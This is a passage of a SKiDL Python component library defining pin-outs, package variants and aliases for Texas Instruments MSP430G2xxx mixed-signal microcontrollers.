Pin(num='11',name='P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TDI/TCLK/TA0.1/SDO/SCL/CA6/A6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TDO/TDI/SDI/SDA/CAOUT/CA7/A7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2152IPW14',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2452, 14pin TSSOP, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2252IPW14', 'MSP430G2352IPW14', 'MSP430G2452IPW14'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/A0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/CA1/A1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/CA2/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='ADC10CLK/VREF-/VeREF-/CAOUT/CA3/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/TA0.2/VREF+/VeREF+/CA4/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/SCLK/TA0.0/CA5/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TDI/TCLK/TA0.1/SDO/SCL/CA6/A6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TDO/TDI/SDI/SDA/CAOUT/CA7/A7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2152IPW20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2452, 20pin TSSOP, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2252IPW20', 'MSP430G2352IPW20', 'MSP430G2452IPW20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/A0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/CA1/A1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/CA2/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='ADC10CLK/VREF-/VeREF-/CAOUT/CA3/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/TA0.2/VREF+/VeREF+/CA4/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/SCLK/TA0.0/CA5/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TDI/TCLK/TA0.1/SDO/SCL/CA6/A6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TDO/TDI/SDI/SDA/CAOUT/CA7/A7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2152IRSA16',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2452, 16pin QFN, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2252IRSA16', 'MSP430G2352IRSA16', 'MSP430G2452IRSA16'],pins=[
Pin(num='1',name='TA0CLK/ACLK/A0/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='TA0.0/A1/CA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.1/A2/CA2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='ADC10CLK/CAOUT/VREF-/VeREF-/A3/CA3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='TCK/SMCLK/TA0.2/VREF+/VeREF+/A4/CA4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TMS/TA0.0/SCLK/A5/CA5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TDI/TCLK/TA0.1/SDO/SCL/A6/CA6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TDO/TDI/CAOUT/SDI/SDA/A7/CA7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='10',name='SBWTCK/TEST',do_erc=True),
Pin(num='11',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='16',name='DVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2153IN20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin PDIP, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2253IN20', 'MSP430G2353IN20', 'MSP430G2453IN20', 'MSP430G2553IN20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/A0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='UCA0RXD/UCA0SOMI/TA0.0/CA1/A1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='UCA0TXD/UCA0SIMO/TA0.1/CA2/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='CAOUT/VREF-/VeREF-/CA3/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/UCB0STE/UCA0CLK/VREF+/VeREF+/CA4/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/UCB0CLK/UCA0STE/TA0.0/CA5/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P2.3/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TDI/TCLK/UCB0SOMI/UCB0SCL/TA0.1/CA6/A6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TDO/TDI/UCB0SIMO/UCB0SDA/CAOUT/CA7/A7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='TEST/SBWTCK',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2153IPW20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2553, 20pin TSSOP, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2253IPW20', 'MSP430G2353IPW20', 'MSP430G2453IPW20', 'MSP430G2553IPW20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/A0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='UCA0RXD/UCA0SOMI/TA0.0/CA1/A1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='UCA0TXD/UCA0SIMO/TA0.1/CA2/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='CAOUT/VREF-/VeREF-/CA3/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/UCB0STE/UCA0CLK/VREF+/VeREF+/CA4/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/UCB0CLK/UCA0STE/TA0.0/CA5/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P2.3/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TDI/TCLK/UCB0SOMI/UCB0SCL/TA0.1/CA6/A6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TDO/TDI/UCB0SIMO/UCB0SDA/CAOUT/CA7/A7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='TEST/SBWTCK',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2153IPW28',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2553, 28pin TQFP, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2253IPW28', 'MSP430G2353IPW28', 'MSP430G2453IPW28', 'MSP430G2553IPW28'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/A0/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/UCA0RXD/UCA0SOMI/A1/CA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/UCA0TXD/UCA0SIMO/A2/CA2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='ADC10CLK/CAOUT/VREF-/VeREF-/A3/CA3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/UCB0STE/UCA0CLK/VREF+/VeREF+/A4/CA4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/TA0.0/UCB0CLK/UCA0STE/A5/CA5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P3.1/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P3.0/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA1.0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P3.6/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='TA1.1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='P3.7/TA1CLK/CAOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='TA1.1/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TDI/TCLK/TA0.1/UCB0SOMI/UCB0SCL/A6/CA6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TDO/TDI/CAOUT/UCB0SIMO/UCB0SDA/A7/CA7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.3/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='15',name='P3.4/TA0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='SBWTCK/TEST',do_erc=True),
Pin(num='16',name='TA1.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA1.2/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TA0.1/XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA1.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='19',name='P3.5/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2153IRHB32',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2553, 32pin QFN, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2253IRHB32', 'MSP430G2353IRHB32', 'MSP430G2453IRHB32', 'MSP430G2553IRHB32'],pins=[
Pin(num='1',name='TA0.0/UCA0RXD/UCA0SOMI/A1/CA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='TA0.1/UCA0TXD/UCA0SIMO/A2/CA2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='ADC10CLK/CAOUT/VREF-/VeREF-/A3/CA3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TCK/SMCLK/UCB0STE/UCA0CLK/VREF+/VeREF+/A4/CA4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='TMS/TA0.0/UCB0CLK/UCA0STE/A5/CA5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P3.1/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='P3.0/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TA1.0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA1.1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P3.7/TA1CLK/CAOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='TA1.1/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='TDI/TCLK/TA0.1/UCB0SOMI/UCB0SCL/A6/CA6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TA0CLK/ACLK/A0/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TDO/TDI/CAOUT/UCB0SIMO/UCB0SDA/A7/CA7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.3/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='14',name='P3.4/TA0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='SBWTCK/TEST',do_erc=True),
Pin(num='15',name='TA1.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA1.2/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='TA0.1/XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA1.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='18',name='P3.5/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='19',name='P3.6/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='AVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2203IN20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin PDIP, 8KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2303IN20', 'MSP430G2403IN20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/UCA0RXD/UCA0SOMI/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/UCA0TXD/UCA0SIMO/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/UCB0STE/UCA0CLK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/TA0.0/UCB0CLK/UCA0STE/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P2.3/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TDI/TCLK/TA0.1/UCB0SOMI/UCB0SCL/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TDO/TDI/UCB0SIMO/UCB0SDA/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='TEST/SBWTCK',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2203IPW20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2403, 20pin TSSOP, 8KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2303IPW20', 'MSP430G2403IPW20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/UCA0RXD/UCA0SOMI/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/UCA0TXD/UCA0SIMO/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/UCB0STE/UCA0CLK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/TA0.0/UCB0CLK/UCA0STE/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P2.3/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TDI/TCLK/TA0.1/UCB0SOMI/UCB0SCL/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TDO/TDI/UCB0SIMO/UCB0SDA/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='TEST/SBWTCK',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2203IPW28',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2403, 28pin TSSOP, 8KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2303IPW28', 'MSP430G2403IPW28'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/UCA0RXD/UCA0SOMI/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/UCA0TXD/UCA0SIMO/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/UCB0STE/UCA0CLK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/TA0.0/UCB0CLK/UCA0STE/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P3.1/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P3.0/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA1.0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P3.6/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='TA1.1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='P3.7/TA1CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='TA1.1/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TDI/TCLK/TA0.1/UCB0SOMI/UCB0SCL/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TDO/TDI/UCB0SIMO/UCB0SDA/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.3/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='15',name='P3.4/TA0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='TEST/SBWTCK',do_erc=True),
Pin(num='16',name='TA1.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA1.2/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TA0.1/XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA1.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='19',name='P3.5/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2203IRHB32',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2403, 32pin QFN, 8KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2303IRHB32', 'MSP430G2403IRHB32'],pins=[
Pin(num='1',name='TA0.0/UCA0RXD/UCA0SOMI/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='TA0.1/UCA0TXD/UCA0SIMO/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TCK/SMCLK/UCB0STE/UCA0CLK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='TMS/TA0.0/UCB0CLK/UCA0STE/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P3.1/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='P3.0/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TA1.0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA1.1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P3.7/TA1CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='TA1.1/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='TDI/TCLK/TA0.1/UCB0SOMI/UCB0SCL/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TA0CLK/ACLK/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TDO/TDI/UCB0SIMO/UCB0SDA/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.3/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='14',name='P3.4/TA0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TEST/SBWTCK',do_erc=True),
Pin(num='15',name='TA1.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA1.2/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='TA0.1/XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA1.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='18',name='P3.5/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='19',name='P3.6/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='AVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2210ID',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='8pin PDIP, 2KB + 256B Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='4',name='TA0.1/CA2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TA0.0/CA5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='14',name='TA0.1/CA6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='CAOUT/CA7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='TEST/SBWTCK',do_erc=True)]),
Part(name='MSP430G2213IN20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin PDIP, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2313IN20', 'MSP430G2413IN20', 'MSP430G2513IN20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='UCA0RXD/UCA0SOMI/TA0.0/CA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='UCA0TXD/UCA0SIMO/TA0.1/CA2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='CAOUT/CA3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/UCB0STE/UCA0CLK/CA4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/UCB0CLK/UCA0STE/TA0.0/CA5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
